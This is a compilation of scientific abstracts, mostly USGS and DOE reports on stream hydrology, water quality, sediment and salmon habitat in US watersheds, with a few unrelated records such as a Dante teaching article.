The Linesville spillway of Pymatuning State Park is one of the most visited tourist attractions in Pennsylvania, USA, averaging more than 450,000 visitors · year-1. Carp ( Cyprinus carpio Linnaeus) and waterfowl congregate at the spillway where they are fed bread and other foods by park visitors. We hypothesized that the “breadthrowers” constitute a significant nutrient vector to the upper portion of Pymatuning Reservoir. In the summer of 2002, we estimated phosphorus loadings attributable to breadthrowers, and compared these values to background loadings from Linesville Creek, a major tributary to the upper reservoir. Items fed to fish included bread, donuts, bagels, canned corn, popcorn, corn chips, hot dogs, birthday cakes, and dog food. Phosphorus loading associated with park visitors feeding fish was estimated to be 3233 g day-1, and estimated P export from the Linesville Creek watershed was 2235 g·day-1. P loading attributable to breadthrowers exceeded that of the entire Linesville Creek watershed on 33 of the 35 days of study, with only a heavy rainfall event triggering watershed exports that exceeded spillway contributions. Averaged across 5 weeks, breadthrowers contributed 1.45-fold more P to Pymatuning Reservoir than the Linesville Creek watershed. If Linesville Creek P exports are extrapolated to the entire Sanctuary Lake watershed, spillway contributions of P added 48% to the non-point source watershed P entering the lake. Park visitors feeding fish at the Linesville Spillway are a significant source of nutrients entering Sanctuary Lake.

Hydrology of Jumper Creek Canal basin, Sumter County, Florida

USGS Publications Warehouse

Anderson, Warren

1980-01-01

Jumper Creek Canal basin in Sumter County, Florida, was investigated to evaluate the overall hydrology and effects of proposed flood-control works on the hydrologic regiment of the canal. Average annual rainfall in the 83-square mile basin is about 53 inches of which about 10 inches runs off in the canal. Average annual evapotranspiration is estimated at about 37 inches. Pumping from limestone mines has lowered the potentiometeric surface in the upper part of the basin, but it has not significantly altered the basin yield. Channel excavation to reduce flooding is proposed with seven control structures located to prevent overdrainage. The investigation indicates that implementation of the proposed plan will result in a rise in the potentiometric surface n the upper basin, a reduction is surface outflow, an increase in subsurface outflow, an increase in the gradient of the potentiometeric surface of the Floridan aquifer, an increase in leakage from the canal to the aquifer in the upper basin, and an increase in the magnitude of flood flows from the basin. Ground water in Jumper Creek basin is a bicarbonate type. Very high concentrations of dissolved iron were found in shallow wells and in some deep wells. Sulfate and strontium were relatively high in wells in the lower basin. (Kosco-USGS)

Hydrologic conditions, stream-water quality, and selected groundwater studies conducted in the Lawrenceville area, Georgia, 2003-2008

USGS Publications Warehouse

Clarke, John S.; Williams, Lester J.

2010-01-01

Hydrologic studies conducted during 2003-2008 as part of the U.S. Geological Survey Cooperative Water Program with the City of Lawrenceville, Georgia, provide important data for the management of water resources. The Cooperative Water Program includes (1) hydrologic monitoring (precipitation, streamflow, and groundwater levels) to quantify baseline conditions in anticipation of expanded groundwater development, (2) surface-water-quality monitoring to provide an understanding of how stream quality is affected by natural (such as precipitation) and anthropogenic factors (such as impervious area), and (3) geologic studies to better understand groundwater flow and hydrologic processes in a crystalline rock setting. The hydrologic monitoring network includes each of the two watersheds projected for groundwater development?the Redland-Pew Creek and upper Alcovy River watersheds?and the upper Apalachee River watershed, which serves as a background or control watershed because of its similar hydrologic and geologic characteristics to the other two watersheds. In each watershed, precipitation was generally greater during 2003-2005 than during 2006-2008, and correspondingly streamflow and groundwater levels decreased. In the upper Alcovy River and Redland-Pew Creek watersheds, groundwater level declines during 2003-2008 were mostly between 2 and 7 feet, with maximum observed declines of as much as 28.5 feet in the upper Alcovy River watershed, and 49.1 feet in the Redland-Pew Creek watershed. Synoptic base-flow measurements were used to locate and quantify gains or losses to streamflow resulting from groundwater interaction (groundwater seepage). In September 2006, seepage gains were measured at five of nine reaches evaluated in the upper Alcovy River watershed, with losses in the other four. The four losing reaches were near the confluence of the Alcovy River and Cedar Creek where the stream gradient is low and bedrock is at or near the land surface. In the Redland-Pew Creek watershed, groundwater seepage gains were observed at each of the 10 reaches measured during September 2008. Continuous specific conductance, temperature, and turbidity data were collected at gage sites located on Pew and Shoal Creeks, which drain about 32 percent of the city area, and at a background site on the Apalachee River located outside the city boundary. Continuous surface-water monitoring data indicate that reduced precipitation during 2006-2008 resulted in lower turbidity and higher stream temperature and specific conductance than in 2003-2005. In comparison to the other two stream sites, water at the Apalachee River site had the lowest mean and median values for specific conductance, and the greatest mean and median values for turbidity during October 2005-December 2008. In addition to continuous water-quality monitoring, samples were collected periodically to determine fecal-coliform bacteria concentrations. None of the individual samples at the three sites exceeded the Georgia Environmental Protection Division (GaEPD) limit of 4,000 most probable number of colonies per 100 milliliters (MPN col/100 mL) for November through April. In the Redland-Pew Creek and Shoal Creek watersheds, the GaEPD 30-day geometric mean standard of 200 MPN col/100 mL for May-October was exceeded twice during two sampling periods in May-October 2007 and twice during two sampling periods in May-October 2008. Groundwater studies conducted during 2003-2007 include the collection of borehole geophysical logs from four test wells drilled in the upper Alcovy River watershed to provide insight into subsurface geologic characteristics. A flowmeter survey was conducted in a well south of Rhodes Jordan Park to help assess the interconnection of the well with surface water and the effectiveness of a liner-packer assembly installed to eliminate that interconnection. At that same well, hydraulic packer tests were conducted in the open-hole section of the well, and water samp

Evaluation of Calendar Year 1997 Groundwater and Surface Water Quality Data For The Upper East Fork Poplar Creek Hydrogeologic Regime At The U.S. Department of Energy Y-12 Plant, Oak Ridge, Tennessee

DOE Office of Scientific and Technical Information (OSTI.GOV)

Jones, S.B.

1998-09-01

1 1.0 INTRODUCTION This report presents an evaluation of the groundwater quality monitoring data reported in: Calendar Year 1997 Annual Groundwatw Monitoring Report for the Upper East Fork Poplar Creek Hydrogeologtc Rep-meat the US. Department of Energy Y-12 Plant, Oak Ridge, Tennessee (AJA Technical Services, Inc. 1998), which is hereafter referenced as the Annual Monitoring Report. Section 2.0 presents background information for the Upper East Fork Poplar Creek Hydrogeologic Regime (East Fork Regime) that is relevant to data evaluation, including brief descriptions of the geology, the groundwater flow system, the contaminant source areas, and the extent of groundwater contamination inmore » the regime. Section 3.0 provides an overview of the groundwater sampling and analysis activities petiormed during calendar year (CY) 1997, including monitoring well locations, sampling frequency and methods, and laboratory analyses. Evaluation and interpretation of the monitoring da% described in Section 4.0, is generally focused on an overview of data quality assurance/quality control (QA/QC), long-term concentration trends for selected inorganic, organic, and radiological contaminants, and consistency with applicable site-specific conceptual contaminant transport models described in: Report on the Remedial Investigation of the Upper East Fork Poplar Creek Characterization Area at the Oak Ridge Y-12 Plant, Oak Ridge, Tennessee (U.S. Department of Energy 1998), which is referenced hereafter as the Remedial Investigation @I) Report. Findings of the data evaluations are summarized :in Section 5.0 and a list of technical reports and regulatory documents cited for more detailed irdormation (Section 6.0) concludes the report. All of the illustrations (maps and trend graphs) and data summary tables referenced in the text are presented in Appendm A and Appendix B, respectively. Appendix C provides a summary of the analytical results that meet applicable data quality objectives (DQOS) of the Y-12 Plant Groundwater Protection Program.« less

Can stream and riparian restoration offset climate change impacts to salmon populations?

PubMed

Justice, Casey; White, Seth M; McCullough, Dale A; Graves, David S; Blanchard, Monica R

2017-03-01

Understanding how stream temperature responds to restoration of riparian vegetation and channel morphology in context of future climate change is critical for prioritizing restoration actions and recovering imperiled salmon populations. We used a deterministic water temperature model to investigate potential thermal benefits of riparian reforestation and channel narrowing to Chinook Salmon populations in the Upper Grande Ronde River and Catherine Creek basins in Northeast Oregon, USA. A legacy of intensive land use practices in these basins has significantly reduced streamside vegetation and increased channel width across most of the stream network, resulting in water temperatures that far exceed the optimal range for salmon growth and survival. By combining restoration scenarios with climate change projections, we were able to evaluate whether future climate impacts could be offset by restoration actions. A combination of riparian restoration and channel narrowing was predicted to reduce peak summer water temperatures by 6.5 °C on average in the Upper Grande Ronde River and 3.0 °C in Catherine Creek in the absence of other perturbations. These results translated to increases in Chinook Salmon parr abundance of 590% and 67% respectively. Although projected climate change impacts on water temperature for the 2080s time period were substantial (i.e., median increase of 2.7 °C in the Upper Grande Ronde and 1.5 °C in Catherine Creek), we predicted that basin-wide restoration of riparian vegetation and channel width could offset these impacts, reducing peak summer water temperatures by about 3.5 °C in the Upper Grande Ronde and 1.8 °C in Catherine Creek. These results underscore the potential for riparian and stream channel restoration to mitigate climate change impacts to threatened salmon populations in the Pacific Northwest. Copyright © 2016 The Authors. Published by Elsevier Ltd.. All rights reserved.

Umatilla River Basin Anadromous Fish Habitat Enhancement Project : 2001 Annual Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Shaw, R. Todd; Sexton, Amy D.

The Umatilla River Basin Anadromous Fish Habitat Enhancement Project continued to identify impacted stream reaches throughout the Umatilla River Basin for habitat improvements during the 2001 project period. Public outreach efforts, biological and physical monitoring, and continued development of a Umatilla Subbasin Watershed Assessment assisted the project in fostering public cooperation, targeting habitat deficiencies and determining habitat recovery measures. Projects continued to be maintained on 49 private properties, one 25-year Non-Exclusive Bureau of Indian Affairs' Easement was secured, six new projects implemented and two existing project areas improved to enhance anadromous fish habitat. New project locations included sites on themore » mid Umatilla River, upper Umatilla River, Mission Creek, Cottonwood Creek and Buckaroo Creek. New enhancements included: (1) construction of 11,264 feet of fencing between River Mile 43.0 and 46.5 on the Umatilla River, (2) a stream bank stabilization project implemented at approximately River Mile 63.5 Umatilla River to stabilize 330 feet of eroding stream bank and improve instream habitat diversity, included construction of eight root wad revetments and three boulder J-vanes, (3) drilling a 358-foot well for off-stream livestock watering at approximately River Mile 46.0 Umatilla River, (4) installing a 50-foot bottomless arch replacement culvert at approximately River Mile 3.0 Mission Creek, (5) installing a Geoweb stream ford crossing on Mission Creek (6) installing a 22-foot bottomless arch culvert at approximately River Mile 0.5 Cottonwood Creek, and (7) providing fence materials for construction of 21,300 feet of livestock exclusion fencing in the Buckaroo Creek Drainage. An approximate total of 3,800 native willow cuttings and 350 pounds of native grass seed was planted at new upper Umatilla River, Mission Creek and Cottonwood Creek project sites. Habitat improvements implemented at existing project sites included development of a 105-foot well for off-stream livestock watering at approximately River Mile 12.0 Wildhorse Creek and construction of an engineered stream ford at approximately River Mile 3.0 Mission Creek. A total of $277,848 in financial cost share assistance was provided by the Confederated Tribes of the Umatilla Indian Reservation, U.S. Bureau of Indian Affairs, U.S. Environmental Protection Agency, U.S. Department of Agriculture, National Oceanic and Atmospheric Administration, U.S. Workforce Investment Act, Oregon Watershed Enhancement Board, Umatilla County and Pheasants Forever for planning efforts and habitat enhancements. Monitoring continued to quantify baseline conditions and the effects of habitat enhancements in the upper basin. Daily stream temperatures were collected from June through September at 22 sites. Suspended sediment samples were obtained at three gage stations to arrive at daily sediment load estimates. Photographs were taken at 96 existing and three newly established photo points to document habitat recovery and pre-project conditions. Transects were measured at three stream channel cross sections to assist with engineering and design and to obtain baseline data regarding channel morphology. Biological inventories were conducted at River Mile 3.0 Mission Creek to determine pre-project fish utilization above and below the passage barrier. Post-project inventories were also conducted at River Mile 85.0 of the Umatilla River at a project site completed in 1999. Umatilla Subbasin Watershed Assessment efforts were continued under a subcontract with Eco-Pacific. This watershed assessment document and working databases will be completed in fiscal year 2002 and made available to assist project personnel with sub-watershed prioritization of habitat needs. Water Works Consulting, Duck Creek Associates and Ed Salminen Consulting were subcontracted for watershed assessment and restoration planning in the Meacham Creek Subwatershed. A document detailing current conditions in the Meacham Creek Subwatershed and necessary restoration actions will be available for review in 2003.« less

Hydrodynamic Characteristics and Salinity Patterns in Estero Bay, Lee County, Florida

USGS Publications Warehouse

Byrne, Michael J.; Gabaldon, Jessica N.

2008-01-01

Estero Bay is an estuary (about 12 miles long and 3 miles wide) on the southwestern Florida coast, with several inlets connecting the bay to the Gulf of Mexico and numerous freshwater tributaries. Continuous stage and salinity data were recorded at eight gaging stations in Estero Bay estuary from October 2001 to September 2005. Continuous water velocity data were recorded at six of these stations for the purpose of measuring discharge. In addition, turbidity data were recorded at four stations, suspended sediment concentration were measured at three stations, and wind measurements were taken at one station. Salinity surveys, within and around Estero Bay, were conducted 15 times from July 2002 to January 2004. The average daily discharge ranged from 35,000 to -34,000 ft3/s (cubic feet per second) at Big Carlos Pass, 10,800 to -11,200 ft3/s at Matanzas Pass, 2,200 to -2,900 ft3/s at Big Hickory Pass, 680 to -700 ft3/s at Mullock Creek, 330 to -370 ft3/s at Estero River, and 190 to -180 ft3/s at Imperial River. Flood tide is expressed as negative discharge and ebb flow as positive discharge. Reduced salinity at Matanzas Pass was negatively correlated (R2 = 0.48) to freshwater discharge from the Caloosahatchee River at Franklin Locks (S-79). Matanzas Pass is hydrologically linked to Hell Peckney Bay; therefore, water-quality problems associated with the Caloosahatchee River also affect Hell Peckney Bay. Rocky Bay was significantly less saline than Coconut Point and Matanzas Pass was significantly less saline than Ostego Bay, based on data from the salinity surveys. The quality-checked and edited continuous data and the salinity maps have been compiled and are stored on the U.S. Geological Survey South Florida Information Access (SOFIA) website (http://sofia.usgs.gov).

Investigation of acidity and other water-quality characteristics of Upper Oyster Creek, Ocean County, New Jersey

USGS Publications Warehouse

Fusillo, Thomas V.; Schornick, J.C.; Koester, H.E.; Harriman, D.A.

1980-01-01

Water-quality data collected in the upper Oyster Creek drainage basin, Ocean County, N.J., indicate that the stream has excellent water quality except for a persistently low pH. The mean concentrations of the major inorganic ions were all less than 6.0 milligrams per liter. Mean concentrations of total nitrogen and total phosphorus were 0.15 mg/L and 0.01 mg/L, respectively. Dissolved oxygen averaged 8.7 mg/L and 81% saturation. Low pH levels are typical of streams draining cedar swamps. In Oyster Creek, the pH tended to decrease downstream due to chemical and biological processes. The pH levels in swamps were one-half unit or more lower than the pH levels in the adjacent stream. Sharp declines in stream pH were noted during runoff periods as the result of the mixing of poorly-buffered stream water with more highly acidic water from surrounding swamp areas. The quality of ground water within the study area was similar to the quality of streamflow, except for higher iron and ammonia-nitrogen concentrations and a higher pH range of 4.9 to 6.5. Precipitation represented a major source of many chemical constituents in the ground- and surface-waters of the Oyster Creek basin. (USGS)

Water quality, hydrology, and phosphorus loading to Little St. Germain Lake, Wisconsin, with special emphasis on the effects of winter aeration and ground-water inputs

USGS Publications Warehouse

Robertson, Dale M.; Rose, William J.; Saad, David A.

2005-01-01

Several empirical water-quality models were used to simulate how the East and Upper East Bays of the lake should respond to reductions in phosphorus loading from Muskellunge Creek. Simulation results indicated that reductions in tributary loading could improve the water quality of the East and Upper East Bays. Improving the water quality of these bays would also improve the water quality of the South and Second South Bays because of the flow of water through the lake. However, even with phosphorus loading from Muskellunge Creek completely eliminated, most of the lake would remain borderline mesotrophic/eutrophic because of the contributions of phosphorus from ground water.

Potential effects of surface coal mining on the hydrology of the Circle West coal tracts, McCone County, eastern Montana

USGS Publications Warehouse

Cannon, M.R.

1984-01-01

The Circle West coal tracts in McCone County, Montana, contain about 460 million tons of recoverable coal reserves. Estimates of coal reserves for the tract are based predominantly on the S coal bed, which averages about 16 ft in thickness. About 175 million tons, or 38%, of the recoverable coal is Federally owned and has been identified for potential lease sale. A hydrologic study has been conducted in the potential lease area to describe existing hydrologic systems and to assess potential effects of surface coal mining on local water resources. Geohydrologic data collected from wells and drill holes indicate that shallow aquifers exist in sandstone and coal beds of the Tongue River Member of the Fort Union Formation (Paleocene age). These shallow aquifers generally have small values of hydraulic conductivity (0.1 to 380 ft/day) and typically yield from 2 to 20 gal/min to stock and domestic wells. Where coal is extremely fractured or the thickness of saturated sandstone is large, some wells can yield in excess of 70 gal/min. Chemical analyses indicate that most shallow aquifers contain a sodium sulfate bicarbonate type water. Surface water resources of the area consist of intermittent streamflow in parts of the Nelson and Timber Creek basins plus a large network of reservoirs. The reservoirs provide a large part of the water supply for area livestock and irrigation. Water quality data for Nelson and Timber Creeks indicate that the water generally is a sodium sulfate type and has a large concentration (181 to 6,960 mg/L) of dissolved solids. Mining of the S coal bed in the Circle West coal tracts would permanently remove shallow coal and sandstone aquifers, resulting in the loss of shallow stock wells. Mining would destroy livestock reservoirs, alter runoff characteristics of Nelson Creek, and temporarily lower water levels in shallow aquifers near the mine. Leaching of soluble constituents from mine spoils may cause a long-term degradation of the quality of water in shallow aquifers in and near the coal tracts. Some of the effects on local water supplies could be mitigated by development of alternative water resources in deeper aquifers such as the Tullock aquifer of Paleocene age and the Fox Hills-lower Hell Creek aquifer of Late Cretaceous age. (Author 's abstract)

Salmonid Gamete Preservation in the Snake River Basin, Annual Report 2002.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Young, William; Kucera, Paul

2003-07-01

In spite of an intensive management effort, chinook salmon (Oncorhynchus tshawytscha) and steelhead (Oncorhynchus mykiss) populations in the Northwest have not recovered and are currently listed as threatened species under the Endangered Species Act. In addition to the loss of diversity from stocks that have already gone extinct, decreased genetic diversity resulting from genetic drift and inbreeding is a major concern. Reduced population and genetic variability diminishes the environmental adaptability of individual species and entire ecological communities. The Nez Perce Tribe (NPT), in cooperation with Washington State University and the University of Idaho, established a germplasm repository in 1992 inmore » order to preserve the remaining salmonid diversity in the region. The germplasm repository provides long-term storage for cryopreserved gametes. Although only male gametes can be cryopreserved, conserving the male component of genetic diversity will maintain future management options for species recovery. NPT efforts have focused on preserving salmon and steelhead gametes from the major river subbasins in the Snake River basin. However, the repository is available for all management agencies to contribute gamete samples from other regions and species. In 2002 a total of 570 viable semen samples were added to the germplasm repository. This included the gametes of 287 chinook salmon from the Lostine River, Catherine Creek, upper Grande Ronde River, Imnaha River (Lookingglass Hatchery), Lake Creek, South Fork Salmon River, Johnson Creek, Big Creek, Capehorn Creek, Marsh Creek, Pahsimeroi River (Pahsimeroi Hatchery), and upper Salmon River (Sawtooth Hatchery) and the gametes of 280 steelhead from the North Fork Clearwater River (Dworshak Hatchery), Fish Creek, Little Sheep Creek, Pahsimeroi River (Pahsimeroi Hatchery) and Snake River (Oxbow Hatchery). In addition, gametes from 60 Yakima River spring chinook and 34 Wenatchee River coho salmon were added to the repository by Washington Department of Fish and Wildlife and Columbia River Intertribal Fish Commission, respectively. To date, a total of 3,928 Columbia River salmon and steelhead gamete samples and three Kootenai River white sturgeon are preserved in the repository. Samples are stored in independent locations at the University of Idaho (UI) and Washington State University (WSU).« less

37. VIEW NORTH FROM EAST CRUDE ORE BIN TO CRUSHER ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

37. VIEW NORTH FROM EAST CRUDE ORE BIN TO CRUSHER ADDITION AND CRUSHED OXIDIZED ORE BIN. VISIBLE ARE DINGS MAGNETIC PULLEY (CENTER), THE 100-TON STEEL CRUSHED UNOXIDIZED ORE BIN, AND UPPER PORTION OF THE STEPHENS-ADAMSON 25 TON/HR BUCKET ELEVATOR. THE UPPER TAILINGS POND LIES BEYOND THE MILL WITH THE UPPER TAILINGS DAM UNDER THE GRAVEL ROAD IN THE UPPER RIGHT CORNER. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

With Dante in Hell on 9/11: "That Day We Read No Further"

ERIC Educational Resources Information Center

Rosenstein, Roy

2015-01-01

In this article, Roy Rosenstein shares the events that occurred during his first day of teaching the Dante and Medieval Culture course in the fall semester of 2001 at the American University of Paris (AUP). On, September 11, 2001, immediately following Rosenstein's opening statement of "Welcome to hell," the class was alerted to the…

HELLS HOLE ROADLESS AREA, ARIZONA AND NEW MEXICO.

USGS Publications Warehouse

Ratte, James C.; Briggs, John P.

1984-01-01

The Hells Hole Roadless Area encompasses about 50 sq mi along the Arizona-New Mexico State line. The area was studied and the southeastern part was determined to have a probable mineral-resource potential for the discovery of base- or precious-metal deposits related to igneous intrusions of middle to late Tertiary age. There also is a probable resource potential for porphyry copper mineralization of Laramide age beneath the Tertiary volcanic rocks that cover the area. There is little promise for the occurrence of energy resources in the area. Additional geochemical and petrological studies of the rocks of the Hells Hole volcanic center and modeling of geophysical anomalies are necessary to adequately appraise the mineral-resource potential of the area.

Surficial geology of the Cane Creek basin, Lauderdale County, Tennessee

USGS Publications Warehouse

Miller, J.H.

1991-01-01

The surficial geology of the Cane Creek basin, in Lauderdale County, West Tennessee, was studied from 1985-88. Peoria Loess is the parent material from which soils in the Cane Creek drainage basin were derived. In general, a brown silt grades into a gray silt from 5 to I7 feet below ground surface. This color change probably represents depth to water table prior to the channelization of Cane Creek. Only at river mile 11.9 does rock outcrop near the main channel. Lower reaches of major tributaries have surficial geology similar to the main channel. In upper reaches of Hyde Creek and Fain Spring Creek, the sequence from the St&ace is sand and gravels, red-brown sandstone, sand and clay layers, and then, an orange sand layer. Coarse-grained deposits are found most often along the northern boundary of the basin and only occasionally in areas to the west and south of the main channel. Depth to sand or gravel ranges from about 0 to 158 feet in the uplands, and generally deeper than 40 feet near the main channel.

Characteristics, transport, and yield of sediment in Juday Creek, St. Joseph County, Indiana, 1993-94

USGS Publications Warehouse

Fowler, K.K.; Wilson, J.T.

1995-01-01

Surveys of the instream pond determined that the volume of sediment delivered to the pond from April 1993 to April 1994 was approximately 26,500 cubic feet. The average volume weight of the sediment was determined to be 102 pounds per cubic foot. The sediment yield for the upper reach of Juday Creek from April 1993 to April 1994 was estimated to be 48 tons per square mile.

Investigations into the Early Life History of Naturally Produced Spring Chinook Salmon in the Grande Ronde River Basin : Fish Research Project Oregon : Annual Progress Report Project Period 1 September 1998 to 31 August 1999.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Jonasson, Brian C.

2000-01-01

We determined migration timing and abundance of juvenile spring chinook salmon from three populations in the Grande Ronde River basin. We estimated 13,180 juvenile chinook salmon left upper rearing areas of the Grande Ronde River from July 1998 to June 1999; approximately 0.2% of the migrants left in summer, 18% in fall and 82% in spring. We estimated 15,949 juvenile chinook salmon left upper rearing areas of Catherine Creek from July 1998 to June 1999; approximately 0.2% of the migrants left in summer, 57% in fall, 2% in winter, and 41% in spring. We estimated 14,537 juvenile chinook salmon leftmore » the Grande Ronde Valley, located below the upper rearing areas in Catherine Creek and the Grande Ronde River, from October 1998 to June 1999; approximately 99% of the migrants left in spring. We estimated 31,113 juvenile chinook salmon left upper rearing areas of the Lostine River from July 1998 to June 1999; approximately 4% of the migrants left in summer, 57% in fall, 3% in winter, and 36% in spring. We estimated 42,705 juvenile spring chinook salmon left the Wallowa Valley, located below the mouth of the Lostine River, from August 1998 to June 1999; approximately 46% of the migrants left in fall, 6% in winter, and 47% in spring. Juvenile chinook salmon PIT-tagged on the upper Grande Ronde River were detected at Lower Granite Dam from 31 March to 20 June 1999, with a median passage date of 5 May. PIT-tagged salmon from Catherine Creek were detected at Lower Granite Dam from 19 April to 9 July 1999, with a median passage date of 24 May. PIT-tagged salmon from the Lostine River were detected at Lower Granite Dam from 31 March through 8 July 1999, with a median passage date of 4 May. Juveniles tagged as they left the upper rearing areas of the Grande Ronde River in fall and that overwintered in areas downstream were detected in the hydrosystem at a higher rate than fish tagged during winter in the upper rearing areas, indicating a higher overwinter survival in the downstream areas. Juveniles tagged as they left the upper rearing areas of Catherine Creek in fall and that overwintered in areas downstream were detected in the hydrosystem at a lower rate than fish tagged during winter in the upper rearing areas, indicating a higher overwinter survival in the upper rearing areas. Juveniles tagged as they left the upper rearing areas of the Lostine River in fall and that overwintered in areas downstream were detected in the hydrosystem at a similar rate to fish tagged during winter in the upper rearing areas, indicating similar overwinter survival in the upstream and downstream areas. Chinook salmon parr were generally associated with low velocity habitat types, that is pools, during both winter and summer in the Lostine River.« less

Water-quality and algal conditions in the Clackamas River basin, Oregon, and their relations to land and water management

USGS Publications Warehouse

Carpenter, Kurt D.

2003-01-01

In 1998, the U.S. Geological Survey sampled the Clackamas River, its major tributaries, and reservoirs to characterize basic water quality (nutrients, dissolved oxygen, pH, temperature, and conductance), water quantity (water sources within the basin), and algal conditions (biomass and species composition). Sampling locations reflected the dominant land uses in the basin (forest management, agriculture, and urban development) as well as the influence of hydroelectric projects, to examine how these human influences might be affecting water quality and algal conditions. Nuisance algal growths, with accompanying negative effects on water quality, were observed at several locations in the basin during this study. Algal biomass in the lower Clackamas River reached a maximum of 300 mg/m2 chlorophyll a, producing nuisance algal conditions, including fouled stream channels and daily fluctuations in pH and dissolved oxygen concentrations to levels that did not meet water-quality standards. Algal biomass was highest at sites immediately downstream from the hydroelectric project's reservoirs and/or powerhouses. Nuisance algal conditions also were observed in some of the tributaries, including the North Fork of the Clackamas River, Clear Creek, Rock Creek, and Sieben Creek. High amounts of drifting algae increased turbidity levels in the Clackamas River during June, which coincided with a general increase in the concentration of disinfection by-products found in treated Clackamas River water used for drinking, presumably due to the greater amounts of organic matter in the river. The highest nutrient concentrations were found in the four lowermost tributaries (Deep, Richardson, Rock, and Sieben Creeks), where most of the agriculture and urban development is concentrated. Of these, the greatest load of nutrients came from Deep Creek, which had both high nutrient concentrations and relatively high streamflow. Streams draining forestland in the upper basin (upper Clackamas River and Oak Grove Fork) had the highest concentrations of phosphorus (and lowest concentrations of nitrogen), and streams draining forestland in the middle basin (Clear Creek, Eagle Creek, and the North Fork of the Clackamas River) had relatively high concentrations of nitrogen (and low concentrations of phosphorus). In contrast, relatively low concentrations of both nitrogen and phosphorus were found at the two reference streams, reflecting their pristine condition. Relatively high phosphorus levels in the upper basin are probably due to the erosion of naturally occurring phosphorus deposits in this area. Likely sources of nitrogen (mostly nitrate) in the forested watersheds include nitrogen-fixing plants, atmospheric deposition, timber harvesting, and applications of urea fertilizers.

Characterization of water quality and suspended sediment during cold-season flows, warm-season flows, and stormflows in the Fountain and Monument Creek watersheds, Colorado, 2007–2015

USGS Publications Warehouse

Miller, Lisa D.; Stogner, Sr., Robert W.

2017-09-01

From 2007 through 2015, the U.S. Geological Survey, in cooperation with Colorado Springs City Engineering, conducted a study in the Fountain and Monument Creek watersheds, Colorado, to characterize surface-water quality and suspended-sediment conditions for three different streamflow regimes with an emphasis on characterizing water quality during storm runoff. Data collected during this study were used to evaluate the effects of stormflows and wastewater-treatment effluent discharge on Fountain and Monument Creeks in the Colorado Springs, Colorado, area. Water-quality samples were collected at 2 sites on Upper Fountain Creek, 2 sites on Monument Creek, 3 sites on Lower Fountain Creek, and 13 tributary sites during 3 flow regimes: cold-season flow (November–April), warm-season flow (May–October), and stormflow from 2007 through 2015. During 2015, additional samples were collected and analyzed for Escherichia coli (E. coli) during dry weather conditions at 41 sites, located in E. coli impaired stream reaches, to help identify source areas and scope of the impairment.Concentrations of E. coli, total arsenic, and dissolved copper, selenium, and zinc in surface-water samples were compared to Colorado in-stream standards. Stormflow concentrations of E. coli frequently exceeded the recreational use standard of 126 colonies per 100 milliliters at main-stem and tributary sites by more than an order of magnitude. Even though median E. coli concentrations in warm-season flow samples were lower than median concentrations in storm-flow samples, the water quality standard for E. coli was still exceeded at most main-stem sites and many tributary sites during warm-season flows. Six samples (three warm-season flow and three stormflow samples) collected from Upper Fountain Creek, upstream from the confluence of Monument Creek, and two stormflow samples collected from Lower Fountain Creek, downstream from the confluence with Monument Creek, exceeded the acute water-quality standard for total arsenic of 50 micrograms per liter. All concentrations of dissolved copper, selenium, and zinc measured in samples were below the water-quality standard.Concentrations of dissolved nitrate plus nitrite generally increased from upstream to downstream during all flow periods. The largest downstream increase in dissolved nitrate plus nitrite concentration was measured between sites 07103970 and 07104905 on Monument Creek. All but one tributary that drain into Monument Creek between the two sites had higher median nitrate plus nitrite concentrations than the nearest upstream site on Monument Creek, site 07103970 (MoCr_Woodmen). Increases in the concentration of dissolved nitrate plus nitrite were also evident below wastewater treatment plants located on Fountain Creek.Most stormflow concentrations of dissolved trace elements were smaller than concentrations from cold-season flow or warm-season samples. However, median concentrations of total arsenic, lead, manganese, nickel, and zinc generally were much larger during periods of stormflow than during cold-season flow or warm-season fl. Median concentrations of total arsenic, total copper, total lead, dissolved and total manganese, total nickel, dissolved and total selenium, and dissolved and total zinc concentrations increased from 1.5 to 28.5 times from site 07103700 (FoCr_Manitou) to 07103707 (FoCr_8th) during cold-season and warm-season flows, indicating a large source of trace elements between these two sites. Both of these sites are located on Fountain Creek, upstream from the confluence with Monument Creek.Median suspended-sediment concentrations and median suspended-sediment loads increased in the downstream direction during all streamflow regimes between Monument Creek sites 07103970 (MoCr_Woodmen) and 07104905 (MoCr_Bijou); however, statistically significant increase (p-value less than 0.05) were only present during warm-season flow and stormflow. Significant increases in median suspended sediment concentrations were measured during cold-season flow and warm-season flow between Upper Fountain Creek site 07103707 (FoCr_8th) and Lower Fountain Creek site 07105500 (FoCr_Nevada) because of inflows from Monument Creek with higher suspended-sediment concentrations. Median suspended-sediment concentrations between sites 07104905 (MoCr_Bijou) and 07105500 (FoCr_Nevada) increased significantly during warm-season flow but showed no significant differences during cold-season flow and stormflow. Significant decreases in median suspended-sediment concentrations were measured between sites 07105500 (FoCr_Nevada) and 07105530 (FoCr_Janitell) during all flow regimes.Suspended-sediment concentrations, discharges, and yields associated with stormflow were significantly larger than those associated with warm-season flow. Although large spatial variations in suspended-sediment yields occurred during warm-season flows, the suspended-sediment yield associated with stormflow were as much as 1,000 times larger than the suspended-sediment yields that occurred during warm-season flow. 

Low-flow profiles of the upper Savannah and Ogeechee Rivers and tributaries in Georgia

USGS Publications Warehouse

Carter, R.F.; Hopkins, E.H.; Perlman, H.A.

1988-01-01

Low flow information is provided for use in an evaluation of the capacity of streams to permit withdrawals or to accept waste loads without exceeding the limits of State water quality standards. The purpose of this report is to present the results of a compilation of available low flow data in the form of tables and ' 7Q10 flow profiles ' (minimum average flow for 7 consecutive days with a 10-yr recurrence interval)(7Q10 flow plotted against distance along a stream channel) for all streams reaches of the Upper Savannah and Ogeechee Rivers and tributaries where sufficient data of acceptable accuracy are available. Drainage area profiles are included for all stream basins larger than 5 sq mi, except for those in a few remote areas. This report is the third in a series of reports that will cover all stream basins north of the Fall Line in Georgia. It includes the Georgia part of the Savannah River basin from its headwaters down to and including McBean Creek, and Brier Creek from its headwaters down to and including Boggy Gut Creek. It also includes the Ogeechee River from its headwaters down to and including Big Creek, and Rocky Comfort Creek (tributary to Ogeechee River) down to the Glascock-Jefferson County line. Flow records were not adjusted for diversions or other factors that cause measured flows to represent other than natural flow conditions. The 7-day minimum flow profile was omitted for stream reaches where natural flow was known to be altered significantly. (Lantz-PTT)

